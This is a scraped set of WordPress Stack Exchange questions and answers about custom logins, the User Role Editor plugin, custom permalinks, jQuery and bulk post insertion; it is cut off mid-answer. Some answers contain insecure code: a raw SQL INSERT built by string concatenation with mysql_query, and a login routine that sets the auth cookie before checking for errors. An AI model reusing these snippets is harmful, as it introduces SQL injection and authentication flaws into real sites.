$signon = wp_signon($credentials, true); // true - use HTTP only cookie\n\n if(is_wp_error($signon)){\n return false;\n }\n // The user is logged in redirect, return true, etc.\n</code></pre>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285359", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131139/" ]
I am pretty new to all things Wordpress and seem to be really confused by what I have read. What I am doing is creating a plugin for a specific job and I need to simply change the menu once logged in. Now I am using DIVI 2 as a theme and I have this in the functions.php of the plugin: ``` function my_wp_nav_menu_args( $args = '' ) { if( is_user_logged_in() ) { $args['menu'] = 'UserMenu'; } else { $args['menu'] = 'MainMenu'; } return $args; } add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' ); ``` Which seems to make sense, but does not work and I am not sure if this is Divi2 or, as tested several times, the user is not logged in. It keeps coming back as false `is_user_logged_in()`. Here is the code I use for the custom login: ``` <?php /** * Created by PhpStorm. * User: Andrew * Date: 08/11/2017 * Time: 11:21 */ global $wpdb; $userOK = -1; print_r(is_user_logged_in()); if(is_user_logged_in()) { //This does not action, ever! ?> <script> window.location.href = "https://URL.uk/userhome/"; </script> <?php } if($_POST['wd_resendActivationButton'] === 'resend') { sendActivation($_POST['userid'], $_POST['useremail'],"2"); } if($_POST['loginEmail'] && $_POST['loginPassword'] && !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user->get_error_message(); } else { if($user->user_status === "0") { wp_logout(); } else { ?> <script> window.location.href = "https://url.uk/userhome/"; </script> <?php } } } ``` As I understood it, `wp_authenticate` also logged the user in, but it seems to not do that. So not sure where the issue lays. Could someone please point me into the correct direction? **UPDATE** Using the below code, it is clear the wp\_authentication is failing, although it does give me the user object, it does not log the user in: ``` if($_POST['loginEmail'] && $_POST['loginPassword'] && !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user->get_error_message(); } else { if($user->user_status === "0") { wp_logout(); } else { if(is_user_logged_in()) { ?> <script> console.log('logged in'); window.location.href = "https://URL.uk/userhome/"; </script> <?php } else { ?> <script> console.log('Not logged in'); window.location.href = "https://URL.uk/"; </script> <?php } } } } ``` Thanks Addy
`wp_authenticate()` just checks user data, but not actually authenticating - [docs](https://developer.wordpress.org/reference/functions/wp_authenticate/). You can use `wp_signon`, which uses and `wp_authenticate`: [source](https://core.trac.wordpress.org/browser/tags/5.3/src/wp-includes/user.php#L33), like this: ``` $credentials = [ 'user_login' => $name, 'user_password' => $password, 'rememberme' => true, ]; $signon = wp_signon($credentials, true); // true - use HTTP only cookie if(is_wp_error($signon)){ return false; } // The user is logged in redirect, return true, etc. ```
285,369
<p>I am new to wordpress and StackExchange. I need to add alt attribute to all existing images for screen readers. But I have no idea which php file I need to work on.</p> <p>Also, how does wordpress make pics? which php file do this job? Thanks!</p>
[ { "answer_id": 285366, "author": "BadAddy", "author_id": 131139, "author_profile": "https://wordpress.stackexchange.com/users/131139", "pm_score": 1, "selected": false, "text": "<p>I managed to figure out what was causing it. But I find it odd that there is such little information on it. Anyway i hope this may help others in the future:</p>\n\n<pre><code> if($_POST['loginEmail'] &amp;&amp; $_POST['loginPassword'] &amp;&amp; !$_POST['wd_resendActivationButton']){\n $userOK = 0;\n $user = wp_authenticate_username_password(NULL, $_POST['loginEmail'] , $_POST['loginPassword'] );\n wp_set_current_user($user-&gt;ID, $user-&gt;user_email);\n wp_set_auth_cookie($user-&gt;ID);\n do_action('wp_login', $user-&gt;user_email);\n if(is_wp_error($user)) {\n echo $user-&gt;get_error_message();\n } else {\n if($user-&gt;user_status === \"0\") {\n wp_logout();\n $userOK =1;\n } else {\n if(is_user_logged_in()) {\n $nonce = wp_create_nonce();\n function my_wp_nav_menu_args( $args = '' ) {\n if ( is_user_logged_in() ) {\n $args['menu'] = 'UserMenu';\n }\n return $args;\n }\n add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );\n ?&gt;\n &lt;script&gt;\n console.log('logged in');\n window.location.href = \"https://URL.uk/userhome?loggedin=true&amp;_wpnonce=&lt;?php echo $nonce; ?&gt;\";\n &lt;/script&gt;\n &lt;?php\n } else {\n ?&gt;\n &lt;script&gt;\n console.log('Not logged in');\n window.location.href = \"https://URL.uk/\";\n &lt;/script&gt;\n &lt;?php\n }\n }\n }\n}\n</code></pre>\n\n<p>I would only add that I am not sure if the filter function for the menu needs to be here, or if I can place this back in Functions.php and use use the:</p>\n\n<pre><code> add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );\n</code></pre>\n\n<p>Not sure what is standard practice. But it works.</p>\n\n<p>Thanks.</p>\n" }, { "answer_id": 355821, "author": "gdfgdfg", "author_id": 152132, "author_profile": "https://wordpress.stackexchange.com/users/152132", "pm_score": 2, "selected": false, "text": "<p><code>wp_authenticate()</code> just checks user data, but not actually authenticating - <a href=\"https://developer.wordpress.org/reference/functions/wp_authenticate/\" rel=\"nofollow noreferrer\">docs</a>.</p>\n\n<p>You can use <code>wp_signon</code>, which uses and <code>wp_authenticate</code>: <a href=\"https://core.trac.wordpress.org/browser/tags/5.3/src/wp-includes/user.php#L33\" rel=\"nofollow noreferrer\">source</a>, like this:</p>\n\n<pre><code> $credentials = [\n 'user_login' =&gt; $name,\n 'user_password' =&gt; $password,\n 'rememberme' =&gt; true,\n ];\n\n $signon = wp_signon($credentials, true); // true - use HTTP only cookie\n\n if(is_wp_error($signon)){\n return false;\n }\n // The user is logged in redirect, return true, etc.\n</code></pre>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285369", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131151/" ]
I am new to wordpress and StackExchange. I need to add alt attribute to all existing images for screen readers. But I have no idea which php file I need to work on. Also, how does wordpress make pics? which php file do this job? Thanks!
`wp_authenticate()` just checks user data, but not actually authenticating - [docs](https://developer.wordpress.org/reference/functions/wp_authenticate/). You can use `wp_signon`, which uses and `wp_authenticate`: [source](https://core.trac.wordpress.org/browser/tags/5.3/src/wp-includes/user.php#L33), like this: ``` $credentials = [ 'user_login' => $name, 'user_password' => $password, 'rememberme' => true, ]; $signon = wp_signon($credentials, true); // true - use HTTP only cookie if(is_wp_error($signon)){ return false; } // The user is logged in redirect, return true, etc. ```
285,370
<p>Screenshot below says it all. I want to remove/hide this field from view so the user is unable to edit it. It comes from the User Role Editor plugin and I want to make the changes in functions.php in the child theme.</p> <p>As far as I can tell the code that creates the option comes from plugin folder in ./includes/classes/user-other-roles.php.</p> <p>I've tried taking the whole function and dropping it into the child theme functions.php and commenting out the 'select_roles' line but that didn't work.</p> <pre><code>public function load_js($hook_suffix) { if (!in_array($hook_suffix, array('user-edit.php', 'user-new.php'))) { return; } $select_primary_role = apply_filters('ure_users_select_primary_role', true); wp_enqueue_script('jquery-ui-dialog', '', array('jquery-ui-core', 'jquery-ui-button', 'jquery')); wp_register_script('ure-jquery-multiple-select', plugins_url('/js/jquery.multiple.select.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-jquery-multiple-select'); wp_register_script('ure-user-profile-other-roles', plugins_url('/js/user-profile-other-roles.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-user-profile-other-roles'); wp_localize_script('ure-user-profile-other-roles', 'ure_data_user_profile_other_roles', array( 'wp_nonce' =&gt; wp_create_nonce('user-role-editor'), 'other_roles' =&gt; esc_html__('Other Roles', 'user-role-editor'), 'select_roles' =&gt; esc_html__('Select additional roles for this user', 'user-role-editor'), 'select_primary_role' =&gt; ($select_primary_role || $this-&gt;lib-&gt;is_super_admin()) ? 1: 0 )); } </code></pre> <p><a href="https://i.stack.imgur.com/EQt5e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/EQt5e.png" alt="User Role Editor"></a></p>
[ { "answer_id": 286383, "author": "Jason", "author_id": 131150, "author_profile": "https://wordpress.stackexchange.com/users/131150", "pm_score": 2, "selected": true, "text": "<p>I figured it out and this may help others who may also be trying to remove options from within the dashboard. The concept is the same for any other item you may wish to remove. First you need to add a filter to your functions.php in your child theme. Then you set the function to false.</p>\n\n<p>Here is the code:</p>\n\n<pre><code>// remove additional capabilities dropdown from user page\nadd_filter('ure_show_additional_capabilities_section', 'ure_show_additional_capabilities_section');\nadd_filter('ure_bulk_grant_roles', 'ure_show_additional_capabilities_section');\n\nfunction ure_show_additional_capabilities_section($show) {\n if (current_user_can('administrator')) {\n $show = false;\n }\n\n return $show;\n}\n</code></pre>\n" }, { "answer_id": 320501, "author": "MrTodd", "author_id": 154920, "author_profile": "https://wordpress.stackexchange.com/users/154920", "pm_score": 0, "selected": false, "text": "<p>Your code causes a fatal error when activated, seems it has an extra ) on line 6.</p>\n\n<pre><code> // remove additional capabilities dropdown from user page\n add_filter('ure_show_additional_capabilities_section', \n 'ure_show_additional_capabilities_section');\n add_filter('ure_bulk_grant_roles', \n 'ure_show_additional_capabilities_section');\n\n function ure_show_additional_capabilities_section($show) {\n if (current_user_can('administrator')) {\n $show = false;\n }\n\n return $show;\n }\n</code></pre>\n" }, { "answer_id": 321236, "author": "Caio Mar", "author_id": 54189, "author_profile": "https://wordpress.stackexchange.com/users/54189", "pm_score": 1, "selected": false, "text": "<p>Add this line to your <code>functions.php</code> file:</p>\n\n<pre><code>add_filter( 'ure_show_additional_capabilities_section', '__return_false' );\n</code></pre>\n\n<p>You're welcome :))</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285370", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131150/" ]
Screenshot below says it all. I want to remove/hide this field from view so the user is unable to edit it. It comes from the User Role Editor plugin and I want to make the changes in functions.php in the child theme. As far as I can tell the code that creates the option comes from plugin folder in ./includes/classes/user-other-roles.php. I've tried taking the whole function and dropping it into the child theme functions.php and commenting out the 'select\_roles' line but that didn't work. ``` public function load_js($hook_suffix) { if (!in_array($hook_suffix, array('user-edit.php', 'user-new.php'))) { return; } $select_primary_role = apply_filters('ure_users_select_primary_role', true); wp_enqueue_script('jquery-ui-dialog', '', array('jquery-ui-core', 'jquery-ui-button', 'jquery')); wp_register_script('ure-jquery-multiple-select', plugins_url('/js/jquery.multiple.select.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-jquery-multiple-select'); wp_register_script('ure-user-profile-other-roles', plugins_url('/js/user-profile-other-roles.js', URE_PLUGIN_FULL_PATH)); wp_enqueue_script('ure-user-profile-other-roles'); wp_localize_script('ure-user-profile-other-roles', 'ure_data_user_profile_other_roles', array( 'wp_nonce' => wp_create_nonce('user-role-editor'), 'other_roles' => esc_html__('Other Roles', 'user-role-editor'), 'select_roles' => esc_html__('Select additional roles for this user', 'user-role-editor'), 'select_primary_role' => ($select_primary_role || $this->lib->is_super_admin()) ? 1: 0 )); } ``` [![User Role Editor](https://i.stack.imgur.com/EQt5e.png)](https://i.stack.imgur.com/EQt5e.png)
I figured it out and this may help others who may also be trying to remove options from within the dashboard. The concept is the same for any other item you may wish to remove. First you need to add a filter to your functions.php in your child theme. Then you set the function to false. Here is the code: ``` // remove additional capabilities dropdown from user page add_filter('ure_show_additional_capabilities_section', 'ure_show_additional_capabilities_section'); add_filter('ure_bulk_grant_roles', 'ure_show_additional_capabilities_section'); function ure_show_additional_capabilities_section($show) { if (current_user_can('administrator')) { $show = false; } return $show; } ```
285,382
<p>My problem is one that i can't seem to find a solution to.</p> <p>I have 2 Custom Post Types, <code>Mangas</code> and <code>Chapters</code>, every chapter published will <strong>always</strong> be connected to a manga via the ACF relationship field.</p> <p>The current permalink structure for the chapter is <code>site.com/chapters/chapter-title</code> and what i want is <code>site.com/mangas/connected-manga/chapter-title</code></p> <p>Since wordpress doesn't offer much in the way of post-to-post relationships the ACF relationship field is great for this and i have everything figured out except for this... the permalink.</p> <p>Any help would be appreciated. Please bear in mind that i don't want to use an extra plugin for this.</p>
[ { "answer_id": 285400, "author": "Amr Mohamed", "author_id": 131027, "author_profile": "https://wordpress.stackexchange.com/users/131027", "pm_score": 0, "selected": false, "text": "<p>I think you need to use plugin <strong><a href=\"https://wordpress.org/plugins/custom-post-type-permalinks/\" rel=\"nofollow noreferrer\">Custom Post Type Permalinks</a></strong> to do it </p>\n" }, { "answer_id": 320383, "author": "Howdy_McGee", "author_id": 7355, "author_profile": "https://wordpress.stackexchange.com/users/7355", "pm_score": 1, "selected": false, "text": "<p>The following you could add as a plugin or into your themes <code>functions.php</code> file. What we need to do is add a rewrite tag, custom query var, and finally replace the rewrite tag with the related post slug. Some things may vary from my code to yours. I assume <code>chapters</code> is the post type slug and that the relational field is returning an ID instead of an object, you may need to change these things based on your setup.</p>\n\n<p>One thing you'll need to do is when you're creating your <code>chapters</code> post type, you'll need to add in the placeholder on the rewrite slug:</p>\n\n<pre><code>/**\n * Create Rewrite Tag\n * We'll be able to hook in and replace this placeholder\n * \n * @return void\n */\nfunction wpse285382_chapters_setup() {\n\n // Add rewrite tag\n add_rewrite_tag(\n '%manga%', // Placeholder\n '([^&amp;]+)', // Regex\n 'manga=' // Expected query var\n );\n\n // Assign rewrite tag in post registation\n register_post_type( 'chapters', array(\n /* ... */\n 'rewrite' =&gt; array( 'slug' =&gt; 'mangas/%manga%', 'with_front' =&gt; false ),\n /* ... */\n ) );\n\n}\nadd_action( 'init', 'wpse285382_chapters_setup' );\n\n\n/**\n * Replace the placeholder rewrite tag with expected manga\n * \n * @param String $post_link\n * @param WP_Post $post\n * \n * @return String $post_link\n */\nfunction wpse285382_chapter_link_replacements( $post_link, $post ) {\n\n // No Post ID? Drop out\n if( empty( $post ) ) {\n return $post_link;\n }\n\n // Make sure our post type is correct\n if( empty( $post ) || 'chapters' !== $post-&gt;post_type ) {\n return $post_link;\n }\n\n // Get related manga field\n $manga = get_field( 'related_manga', $post-&gt;ID );\n\n if( ! empty( $manga ) ) {\n\n // Grab Post Slug\n $manga_slug = get_post_field( 'post_name', $manga );\n\n // Replace rewrite tag in the given URL\n $post_link = str_replace( '%manga%', $manga_slug, $post_link );\n\n }\n\n return $post_link;\n\n}\nadd_filter( 'post_type_link', 'wpse285382_chapter_link_replacements', 9, 2 );\n</code></pre>\n\n<p>This last bit should redirect any mismatched posts. We make sure that we have a slug to work with, we have a related post ID assigned, and the given slug and related post slug are the same, if they're not we redirect them back to the archive page ( or where-ever you need to point them to ).</p>\n\n<pre><code>/**\n * Redirect mismatched related posts\n * \n * @return void\n */\nfunction wpse285382_chapter_redirects() {\n\n global $post, $wp_query;\n\n if( ! is_singular( 'chapterss' ) ) {\n return;\n }\n\n $redirect_to = get_post_type_archive_link( 'chapters' );\n $given_slug = $wp_query-&gt;get( 'manga' );\n $expected_manga = get_field( 'related_manga', $post-&gt;ID );\n\n if( empty( $given_slug ) || empty( $expected_manga ) ) {\n wp_redirect( $redirect_to );\n exit();\n }\n\n $expected_slug = get_post_field( 'post_name', $expected_manga );\n\n if( $given_slug !== $expected_slug ) {\n wp_redirect( $redirect_to );\n exit();\n }\n\n}\nadd_action( 'template_redirect', 'wpse285382_chapter_redirects' );\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285382", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131003/" ]
My problem is one that i can't seem to find a solution to. I have 2 Custom Post Types, `Mangas` and `Chapters`, every chapter published will **always** be connected to a manga via the ACF relationship field. The current permalink structure for the chapter is `site.com/chapters/chapter-title` and what i want is `site.com/mangas/connected-manga/chapter-title` Since wordpress doesn't offer much in the way of post-to-post relationships the ACF relationship field is great for this and i have everything figured out except for this... the permalink. Any help would be appreciated. Please bear in mind that i don't want to use an extra plugin for this.
The following you could add as a plugin or into your themes `functions.php` file. What we need to do is add a rewrite tag, custom query var, and finally replace the rewrite tag with the related post slug. Some things may vary from my code to yours. I assume `chapters` is the post type slug and that the relational field is returning an ID instead of an object, you may need to change these things based on your setup. One thing you'll need to do is when you're creating your `chapters` post type, you'll need to add in the placeholder on the rewrite slug: ``` /** * Create Rewrite Tag * We'll be able to hook in and replace this placeholder * * @return void */ function wpse285382_chapters_setup() { // Add rewrite tag add_rewrite_tag( '%manga%', // Placeholder '([^&]+)', // Regex 'manga=' // Expected query var ); // Assign rewrite tag in post registation register_post_type( 'chapters', array( /* ... */ 'rewrite' => array( 'slug' => 'mangas/%manga%', 'with_front' => false ), /* ... */ ) ); } add_action( 'init', 'wpse285382_chapters_setup' ); /** * Replace the placeholder rewrite tag with expected manga * * @param String $post_link * @param WP_Post $post * * @return String $post_link */ function wpse285382_chapter_link_replacements( $post_link, $post ) { // No Post ID? Drop out if( empty( $post ) ) { return $post_link; } // Make sure our post type is correct if( empty( $post ) || 'chapters' !== $post->post_type ) { return $post_link; } // Get related manga field $manga = get_field( 'related_manga', $post->ID ); if( ! empty( $manga ) ) { // Grab Post Slug $manga_slug = get_post_field( 'post_name', $manga ); // Replace rewrite tag in the given URL $post_link = str_replace( '%manga%', $manga_slug, $post_link ); } return $post_link; } add_filter( 'post_type_link', 'wpse285382_chapter_link_replacements', 9, 2 ); ``` This last bit should redirect any mismatched posts. We make sure that we have a slug to work with, we have a related post ID assigned, and the given slug and related post slug are the same, if they're not we redirect them back to the archive page ( or where-ever you need to point them to ). ``` /** * Redirect mismatched related posts * * @return void */ function wpse285382_chapter_redirects() { global $post, $wp_query; if( ! is_singular( 'chapterss' ) ) { return; } $redirect_to = get_post_type_archive_link( 'chapters' ); $given_slug = $wp_query->get( 'manga' ); $expected_manga = get_field( 'related_manga', $post->ID ); if( empty( $given_slug ) || empty( $expected_manga ) ) { wp_redirect( $redirect_to ); exit(); } $expected_slug = get_post_field( 'post_name', $expected_manga ); if( $given_slug !== $expected_slug ) { wp_redirect( $redirect_to ); exit(); } } add_action( 'template_redirect', 'wpse285382_chapter_redirects' ); ```
285,383
<p>so, I am making progress on a button that disappears after a certain amount of time after being clicked like so: <a href="https://codepen.io/mso122591/pen/qVZYNN" rel="nofollow noreferrer">https://codepen.io/mso122591/pen/qVZYNN</a></p> <p>The problem is that this approach uses jquery, which I can't seem to get to work in wordpress.</p> <p>Here are some resources to get jquery to work in wordpress (I noticed you have to replace the initial $ to Jquery and might need a wp_enqueue_script thing) but I find it kinda confusing.</p> <p>1.<a href="https://codex.wordpress.org/Using_Javascript#JavaScript_in_Posts" rel="nofollow noreferrer">https://codex.wordpress.org/Using_Javascript#JavaScript_in_Posts</a> 2.<a href="https://stackoverflow.com/questions/11159860/how-do-i-add-a-simple-jquery-script-to-wordpress">https://stackoverflow.com/questions/11159860/how-do-i-add-a-simple-jquery-script-to-wordpress</a> 3.<a href="https://premium.wpmudev.org/blog/adding-jquery-scripts-wordpress/" rel="nofollow noreferrer">https://premium.wpmudev.org/blog/adding-jquery-scripts-wordpress/</a> 4.<a href="https://digwp.com/2009/06/including-jquery-in-wordpress-the-right-way/" rel="nofollow noreferrer">https://digwp.com/2009/06/including-jquery-in-wordpress-the-right-way/</a></p> <p>I <strong><em>have</em></strong> been able to make javascript work in wordpress, so I tried to get the same result using JS, </p> <p>so I tried to get the same result with JS code: <a href="https://codepen.io/mso122591/pen/rYWXJQ" rel="nofollow noreferrer">https://codepen.io/mso122591/pen/rYWXJQ</a></p> <p>But it also doesn't work in wordpress.</p> <p>It seems that wordpress is pretty finicky as this works in wordpress:</p> <p> </p> <h2>JavaScript Alert</h2> <p>Try it</p> function myFunction() { alert("I am an alert box!"); } <p> </p> <p><strong><em>And this does not work:</em></strong></p> <p> </p> <h2>JavaScript Alert</h2> <p>Try it</p> function myFunction() { alert("I am an alert box!"); } //notice this one has an extra space <p> </p> <p>Any ideas to get the button to work in wordpress? Am I missing something about how Javascript has to be structured or how to make JQuery work?</p>
[ { "answer_id": 285400, "author": "Amr Mohamed", "author_id": 131027, "author_profile": "https://wordpress.stackexchange.com/users/131027", "pm_score": 0, "selected": false, "text": "<p>I think you need to use plugin <strong><a href=\"https://wordpress.org/plugins/custom-post-type-permalinks/\" rel=\"nofollow noreferrer\">Custom Post Type Permalinks</a></strong> to do it </p>\n" }, { "answer_id": 320383, "author": "Howdy_McGee", "author_id": 7355, "author_profile": "https://wordpress.stackexchange.com/users/7355", "pm_score": 1, "selected": false, "text": "<p>The following you could add as a plugin or into your themes <code>functions.php</code> file. What we need to do is add a rewrite tag, custom query var, and finally replace the rewrite tag with the related post slug. Some things may vary from my code to yours. I assume <code>chapters</code> is the post type slug and that the relational field is returning an ID instead of an object, you may need to change these things based on your setup.</p>\n\n<p>One thing you'll need to do is when you're creating your <code>chapters</code> post type, you'll need to add in the placeholder on the rewrite slug:</p>\n\n<pre><code>/**\n * Create Rewrite Tag\n * We'll be able to hook in and replace this placeholder\n * \n * @return void\n */\nfunction wpse285382_chapters_setup() {\n\n // Add rewrite tag\n add_rewrite_tag(\n '%manga%', // Placeholder\n '([^&amp;]+)', // Regex\n 'manga=' // Expected query var\n );\n\n // Assign rewrite tag in post registation\n register_post_type( 'chapters', array(\n /* ... */\n 'rewrite' =&gt; array( 'slug' =&gt; 'mangas/%manga%', 'with_front' =&gt; false ),\n /* ... */\n ) );\n\n}\nadd_action( 'init', 'wpse285382_chapters_setup' );\n\n\n/**\n * Replace the placeholder rewrite tag with expected manga\n * \n * @param String $post_link\n * @param WP_Post $post\n * \n * @return String $post_link\n */\nfunction wpse285382_chapter_link_replacements( $post_link, $post ) {\n\n // No Post ID? Drop out\n if( empty( $post ) ) {\n return $post_link;\n }\n\n // Make sure our post type is correct\n if( empty( $post ) || 'chapters' !== $post-&gt;post_type ) {\n return $post_link;\n }\n\n // Get related manga field\n $manga = get_field( 'related_manga', $post-&gt;ID );\n\n if( ! empty( $manga ) ) {\n\n // Grab Post Slug\n $manga_slug = get_post_field( 'post_name', $manga );\n\n // Replace rewrite tag in the given URL\n $post_link = str_replace( '%manga%', $manga_slug, $post_link );\n\n }\n\n return $post_link;\n\n}\nadd_filter( 'post_type_link', 'wpse285382_chapter_link_replacements', 9, 2 );\n</code></pre>\n\n<p>This last bit should redirect any mismatched posts. We make sure that we have a slug to work with, we have a related post ID assigned, and the given slug and related post slug are the same, if they're not we redirect them back to the archive page ( or where-ever you need to point them to ).</p>\n\n<pre><code>/**\n * Redirect mismatched related posts\n * \n * @return void\n */\nfunction wpse285382_chapter_redirects() {\n\n global $post, $wp_query;\n\n if( ! is_singular( 'chapterss' ) ) {\n return;\n }\n\n $redirect_to = get_post_type_archive_link( 'chapters' );\n $given_slug = $wp_query-&gt;get( 'manga' );\n $expected_manga = get_field( 'related_manga', $post-&gt;ID );\n\n if( empty( $given_slug ) || empty( $expected_manga ) ) {\n wp_redirect( $redirect_to );\n exit();\n }\n\n $expected_slug = get_post_field( 'post_name', $expected_manga );\n\n if( $given_slug !== $expected_slug ) {\n wp_redirect( $redirect_to );\n exit();\n }\n\n}\nadd_action( 'template_redirect', 'wpse285382_chapter_redirects' );\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285383", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131157/" ]
so, I am making progress on a button that disappears after a certain amount of time after being clicked like so: <https://codepen.io/mso122591/pen/qVZYNN> The problem is that this approach uses jquery, which I can't seem to get to work in wordpress. Here are some resources to get jquery to work in wordpress (I noticed you have to replace the initial $ to Jquery and might need a wp\_enqueue\_script thing) but I find it kinda confusing. 1.<https://codex.wordpress.org/Using_Javascript#JavaScript_in_Posts> 2.<https://stackoverflow.com/questions/11159860/how-do-i-add-a-simple-jquery-script-to-wordpress> 3.<https://premium.wpmudev.org/blog/adding-jquery-scripts-wordpress/> 4.<https://digwp.com/2009/06/including-jquery-in-wordpress-the-right-way/> I ***have*** been able to make javascript work in wordpress, so I tried to get the same result using JS, so I tried to get the same result with JS code: <https://codepen.io/mso122591/pen/rYWXJQ> But it also doesn't work in wordpress. It seems that wordpress is pretty finicky as this works in wordpress: JavaScript Alert ---------------- Try it function myFunction() { alert("I am an alert box!"); } ***And this does not work:*** JavaScript Alert ---------------- Try it function myFunction() { alert("I am an alert box!"); } //notice this one has an extra space Any ideas to get the button to work in wordpress? Am I missing something about how Javascript has to be structured or how to make JQuery work?
The following you could add as a plugin or into your themes `functions.php` file. What we need to do is add a rewrite tag, custom query var, and finally replace the rewrite tag with the related post slug. Some things may vary from my code to yours. I assume `chapters` is the post type slug and that the relational field is returning an ID instead of an object, you may need to change these things based on your setup. One thing you'll need to do is when you're creating your `chapters` post type, you'll need to add in the placeholder on the rewrite slug: ``` /** * Create Rewrite Tag * We'll be able to hook in and replace this placeholder * * @return void */ function wpse285382_chapters_setup() { // Add rewrite tag add_rewrite_tag( '%manga%', // Placeholder '([^&]+)', // Regex 'manga=' // Expected query var ); // Assign rewrite tag in post registation register_post_type( 'chapters', array( /* ... */ 'rewrite' => array( 'slug' => 'mangas/%manga%', 'with_front' => false ), /* ... */ ) ); } add_action( 'init', 'wpse285382_chapters_setup' ); /** * Replace the placeholder rewrite tag with expected manga * * @param String $post_link * @param WP_Post $post * * @return String $post_link */ function wpse285382_chapter_link_replacements( $post_link, $post ) { // No Post ID? Drop out if( empty( $post ) ) { return $post_link; } // Make sure our post type is correct if( empty( $post ) || 'chapters' !== $post->post_type ) { return $post_link; } // Get related manga field $manga = get_field( 'related_manga', $post->ID ); if( ! empty( $manga ) ) { // Grab Post Slug $manga_slug = get_post_field( 'post_name', $manga ); // Replace rewrite tag in the given URL $post_link = str_replace( '%manga%', $manga_slug, $post_link ); } return $post_link; } add_filter( 'post_type_link', 'wpse285382_chapter_link_replacements', 9, 2 ); ``` This last bit should redirect any mismatched posts. We make sure that we have a slug to work with, we have a related post ID assigned, and the given slug and related post slug are the same, if they're not we redirect them back to the archive page ( or where-ever you need to point them to ). ``` /** * Redirect mismatched related posts * * @return void */ function wpse285382_chapter_redirects() { global $post, $wp_query; if( ! is_singular( 'chapterss' ) ) { return; } $redirect_to = get_post_type_archive_link( 'chapters' ); $given_slug = $wp_query->get( 'manga' ); $expected_manga = get_field( 'related_manga', $post->ID ); if( empty( $given_slug ) || empty( $expected_manga ) ) { wp_redirect( $redirect_to ); exit(); } $expected_slug = get_post_field( 'post_name', $expected_manga ); if( $given_slug !== $expected_slug ) { wp_redirect( $redirect_to ); exit(); } } add_action( 'template_redirect', 'wpse285382_chapter_redirects' ); ```
285,391
<p>I need to insert about 300 posts into the DB programmatically.</p> <p>Usually i use wp_insert_post to do this job with one record each time, but this time I don't think it'll work well with hundreds of rows. </p> <p>According to <a href="https://dev.mysql.com/doc/refman/5.7/en/insert-optimization.html" rel="nofollow noreferrer">this</a>, it will probably be faster to insert multiple rows in one query. So, I wonder if it's possible to use wp_insert_post in one query. </p> <p>Thnx and sorry for my bad English. </p>
[ { "answer_id": 285423, "author": "Jim-miraidev", "author_id": 130369, "author_profile": "https://wordpress.stackexchange.com/users/130369", "pm_score": 2, "selected": false, "text": "<p>I would advise using wp_insert_post() and putting you text files into a CSV</p>\n\n<p>CSV</p>\n\n<pre><code>Post Title,Post Content,\n\"title\", \"content\",\n\"title\", \"content\"...\n</code></pre>\n\n<p>PHP</p>\n\n<pre><code> $path = \"/posts.csv\";\n\n //require __DIR__ . \"$path\";\n $file = fopen(__DIR__ . $path, 'r');\n while (($line = fgetcsv($file)) !== FALSE) {\n //$line is an array of the csv elements \n $post[\"id\"] = wp_insert_post( array(\n \"post_title\" =&gt; $line[0],\n \"post_author\" =&gt; 1,\n \"post_content\" =&gt; $line[1],\n \"post_type\" =&gt; 'page', //add post type\n \"post_status\" =&gt; \"publish\"\n ));\n }\n fclose($file);\n</code></pre>\n\n<p>Or you could do a SQL INSERT, have a look at - <a href=\"https://stackoverflow.com/questions/1670838/inserting-a-post-in-wordpress-using-mysql\">https://stackoverflow.com/questions/1670838/inserting-a-post-in-wordpress-using-mysql</a></p>\n\n<pre><code> $sql = \"INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES \";\n $sql .= \"(' ','\".$post_author.\"',\".\"'\".$post_date.\"',\".\"'\".$post_date_gmt.\"',\".\"'\".$post_content.\"',\".\"'\".$post_title.\"',\".\"'\".$post_excerpt.\"',\".\"'\".$post_status.\"',\".\"'\".$comment_status.\"',\".\"'\".$ping_status.\"',\".\"'\".$posd_password.\"',\".\"'\".$post_name.\"',\".\"'\".$to_ping.\"',\".\"'\".$pinged.\"',\".\"'\".$post_modified.\"',\".\"'\".$post_modified_gmt.\"',\".\"'\".$post_content_filtered.\"',\".\"'\".$post_parent.\"',\".\"'\".$guid.\"',\".\"'\".$menu_order.\"',\".\"'\".$post_type.\"',\".\"'\".$post_mime_type.\"',\".\"'\".$comment_count.\"'),\";\n $res = mysql_query($sql); if($res): print 'Successful Insert'; else: print 'Unable to update table'; endif;\n</code></pre>\n" }, { "answer_id": 285425, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 1, "selected": false, "text": "<p>You can't simply replace all things that <strong>wp_insert_post</strong> does. This function is not running a single SQL query to insert into wp_posts. It is also adding things into wp_postmeta, creates (if needed) and links posts to terms. So, it can run 5 or more queries to create a single post, and all depends on the first one adding into wp_posts because it has to get the post_id from that query to use in other queries for postmeta and terms.</p>\n\n<p>If you need to add posts simply into wp_posts (no need for postmeta or linking to terms during posts creation), you can import CSV data into database via PHPMyAdmin, or you can create one query that includes multiple insert statements to add 